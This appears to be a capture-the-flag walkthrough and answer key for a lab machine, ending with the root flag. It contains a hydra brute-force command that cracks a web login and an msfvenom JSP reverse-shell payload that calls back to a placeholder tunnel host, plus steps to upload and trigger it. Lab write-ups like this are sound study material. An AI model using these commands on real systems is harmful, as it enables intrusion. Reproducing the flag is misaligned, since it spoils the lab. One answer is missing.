Toys Run

Tags

1. What directory you find, that begins with g?

- guidelines

2. Whose name can you find from this directory?

- bob

3.What is bob's password to the protected part of the website?

```
$ hydra -l bob -P /usr/share/wordlist/rockyou.txt <Machine IP> http-get "/protected"
```

- bubbles

4.What other port that serves a webs service is open on the machine?

- Simple nmap scan gives it

5. Going to the service running on that port, what is the name and version of the software?Answer format: Full_name_of_service/Version

- Apache Tomcat/7.0.88 (nmap scan)

6. Use Nikto with the credentials you have found and scan the /manager/html directory on the port found above.How many documentation files did Nikto identify?

```
nikto -id bob:bubbles -h http://<Machine IP>/manager/html
```

7. What is the server version (run the scan against port 80)?

- Apache/2.4.18

8.Use Metasploit to exploit the service and get a shell on the system.What user did you get a shell as?

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Tunnel IP> LPORT=4444 -f war > shell.war
```

- upload malicious shell
- set up ncat listener
- run the uploaded shell
- get reverse connection

9. What text is in the file /root/flag.txt

ff1fc4a81affcc7688cf89ae7dc6e0e1